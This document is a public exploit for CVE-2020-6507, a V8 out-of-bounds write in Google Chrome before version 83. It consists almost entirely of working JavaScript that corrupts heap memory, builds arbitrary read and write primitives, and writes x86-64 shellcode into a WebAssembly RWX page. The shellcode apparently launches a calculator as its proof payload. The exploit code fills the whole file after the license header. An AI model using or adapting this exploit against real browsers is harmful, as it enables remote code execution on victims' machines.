Google Chrome 81.0.4044 V8 - Remote Code Execution

# Exploit Title: Google Chrome 81.0.4044 V8 - Remote Code Execution
# Exploit Author: r4j0x00
# Version: < 83.0.4103.106
# Description: Out of bounds write in V8 in Google Chrome prior to 83.0.4103.106 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
# CVE: CVE-2020-6507

/*
BSD 2-Clause License

Copyright (c) 2021, rajvardhan agarwal
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this
   list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright notice,
   this list of conditions and the following disclaimer in the documentation
   and/or other materials provided with the distribution.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

var arraybuf = new ArrayBuffer(0x13373);
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108, 0, 0, 10, 4, 1, 2, 0, 11]);
var mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(mod);
var shell = wasm_instance.exports.shell;
var obj_array = [1337331,1337332,1337333,1337334,wasm_instance,wasm_instance,1337336,1337337];

var shellcode = new Uint8Array([72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1, 72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90, 72, 1, 226, 82, 72, 137, 226, 106, 99, 72, 184, 98, 105, 110, 47, 120, 99, 97, 108, 80, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 44, 98, 1, 46, 116, 114, 115, 46, 72, 49, 4, 36, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 49, 246, 86, 106, 19, 94, 72, 1, 230, 86, 106, 24, 94, 72, 1, 230, 86, 106, 24, 94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5, 0]);

function ftoi(val) {
         f64_buf[0] = val;
         return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
         u64_buf[0] = Number(val & 0xffffffffn);
         u64_buf[1] = Number(val >> 32n);
         return f64_buf[0];
}

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
    new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0];

function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 6;
  x -= 5;
  x = Math.max(x, 0);

  let corrupting_array = [0.1, 0.1];
  let corrupted_array = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
  trigger(giant_array);
}

corrupted_array = trigger(giant_array)[1];

var search_space = [[(0x8040000-8)/8, 0x805b000/8], [(0x805b000)/8, (0x83c1000/8)-1], [0x8400000/8, (0x8701000/8)-1], [0x8740000/8, (0x8ac1000/8)-1], [0x8b00000/8, (0x9101000/8)-1]];
function searchmem(value)
{
	skip = 0;
	for(i=0; i<search_space.length; ++i)
	{
		for(j=search_space[i][0];j<search_space[i][1];++j)
		{
			if(((ftoi(corrupted_array[j])) >> 32n) === value || (((ftoi(corrupted_array[j])) & 0xffffffffn) === value))
			{
				if(skip++ == 2) // Probably the first two are due to the search itself
					return j;
			}
		}
	}
	return -1;
}

function searchmem_full(value)
{
	for(i=0;i<search_space.length;++i)
	{
		for(j=search_space[i][0];j<search_space[i][1];++j)
		{
			if((ftoi(corrupted_array[j]) === value))
			{
				if((((ftoi(corrupted_array[j+2]) >> 56n) & 0xffn) == 8n) && (((ftoi(corrupted_array[j+2]) >> 24n) & 0xffn) == 8n))
				{
					return j;
				}
			}
		}
	}
	return -1;
}

var arraybuf_idx = searchmem(0x13373n);
if(arraybuf_idx == -1)
{
	alert('Failed 1');
	throw new Error("Not found");
}
document.write("Found arraybuf at idx: " + arraybuf_idx + "<br>");
function arb_read(addr, length)
{
	var data = [];
	let u8_arraybuf = new Uint8Array(arraybuf);
	corrupted_array[arraybuf_idx+1] = itof(addr);
	for(i=0;i<length;++i)
		data.push(u8_arraybuf[i]);
	return data;
}

function arb_write(addr, data)
{
	corrupted_array[arraybuf_idx+1] = itof(addr);
	let u8_arraybuf = new Uint8Array(arraybuf);
	for(i=0;i<data.length;++i)
		u8_arraybuf[i] = data[i];
}

idx = searchmem_full((1337332n << 33n) + (1337331n << 1n));
if (idx == -1)
{
	alert('Failed 2');
	throw new Error("Not found");
}

wasm_addr = ftoi(corrupted_array[idx+2]) & 0xffffffffn;
document.write("Wasm instance: 0x"+wasm_addr.toString(16) + "<br>");
rwx_idx = Number((wasm_addr-1n+0x68n)/8n);
rwx_addr = ftoi(corrupted_array[rwx_idx-1]);
if ((wasm_addr & 0xfn) == 5n || (wasm_addr & 0xfn) == 0xdn)
{
	rwx_addr >>= 32n;
	rwx_addr += (ftoi(corrupted_array[rwx_idx]) & 0xffffffffn) << 32n;
}
document.write("rwx addr: 0x"+rwx_addr.toString(16));
arb_write(rwx_addr, shellcode);
shell();